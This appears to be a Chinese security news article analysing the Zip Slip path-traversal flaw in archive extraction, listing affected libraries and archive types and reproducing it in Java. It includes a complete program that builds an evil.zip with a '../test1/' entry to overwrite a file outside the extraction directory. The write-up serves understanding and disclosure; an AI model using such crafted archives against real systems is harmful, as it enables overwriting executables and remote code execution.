Zip Slip任意文件覆盖漏洞分析

作者:网友投稿 时间:2018-08-17 16:00

字号

Zip Slip是一个广泛存在的任意文件覆盖漏洞,通常会导致远程命令执行。

该漏洞影响范围极大:

1.受影响的产品:惠普、Amazon、apache、Pivotal等;

2.受影响的编程语言:JavaScript、Python、Ruby、.NET、Go、Groovy等;

3.受影响的压缩文件类型:tar、jar、war、cpio、apk、rar、7z等。

zip slip漏洞其实也是目录遍历的一种,通过应用程序解压恶意的压缩文件来进行攻击。恶意攻击者通过构造一个压缩文件条目中带有../的压缩文件,上传后交给应用程序进行解压,由于程序解压时没有对文件名进行合法性的校验,而是直接将文件名拼接在待解压目录后面,导致可以将文件解压到正常解压缩路径之外并覆盖可执行文件,从而等待系统或用户调用他们实现代码执行(也可能是覆盖配置文件或其他敏感文件)。

目前只要是使用存在Zip Slip漏洞的库,且没有进行目录遍历验证的程序或直接包含易受攻击代码的程序都将受此漏洞影响。如下是受影响的库:

图片.png

图片.png

也可以直接查看GitHub项目:https://github.com/snyk/zip-slip-vulnerability

接下来通过java代码对zip slip漏洞进行复现:

如下图所示,主目录zip_slip下有test和test1两个文件夹,test文件夹下是一个恶意的zip压缩文件,test1是test.txt文件,如果应用程序对该恶意zip压缩文件进行解压后会覆盖test1下的test.txt(该test.txt中内容是good!!)文件,说明该应用程序存在zip slip漏洞。

图片.png

图片.png

图片.png

图片.png

由于windows上不能直接构造带有../条目的压缩文件,所以需要使用程序来构造evil.zip这样的恶意压缩包。

图片.png

图片.png

利用如下程序对test.txt(实际场景中该txt文件是恶意代码,用于覆盖)进行压缩为evil.zip

public class Enzip {
public static void main(String[] args) {
// TODO Auto-generated method stub
//第一个参数是需要压缩的源路径;第二个参数是压缩文件的目的路径,这边需要将压缩的文件名字加上去
compress("C:/Users/DELL/Desktop/zip_slip/test/test.txt","C:/Users/DELL/Desktop/zip_slip/test/evil.zip");
}
/**
* 压缩文件
* @param srcFilePath 压缩源路径
* @param destFilePath 压缩目的路径
*/
public static void compress(String srcFilePath, String destFilePath) {
File src = new File(srcFilePath);
if (!src.exists()) {
throw new RuntimeException(srcFilePath + "不存在");
}
File zipFile = new File(destFilePath);
try {
FileOutputStream fos = new FileOutputStream(zipFile);
ZipOutputStream zos = new ZipOutputStream(fos);
String baseDir = "../test1/";
compressFile(src, zos, baseDir);
//compressbyType(src, zos, baseDir);
zos.close();
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
/**
* 按照原路径的类型就行压缩。文件路径直接把文件压缩,
* @param src
* @param zos
* @param baseDir
*/
private static void compressbyType(File src, ZipOutputStream zos,String baseDir) {
if (!src.exists())
return;
System.out.println("压缩路径" + baseDir + src.getName());
compressFile(src, zos, baseDir);
}
/**
* 压缩文件
*/
private static void compressFile(File file, ZipOutputStream zos,String baseDir) {
if (!file.exists())
return;
try {
BufferedInputStream bis = new BufferedInputStream(new FileInputStream(file));
ZipEntry entry = new ZipEntry(baseDir + file.getName());
zos.putNextEntry(entry);
int count;
byte[] buf = new byte[1024];
while ((count = bis.read(buf)) != -1) {
zos.write(buf, 0, count);
}
bis.close();
} catch (Exception e) {
// TODO: handle exception
}
}
}
责任编辑:CQITer新闻报料:400-888-8888   本站原创,未经授权不得转载
继续阅读
热新闻
推荐
关于我们联系我们免责声明隐私政策 友情链接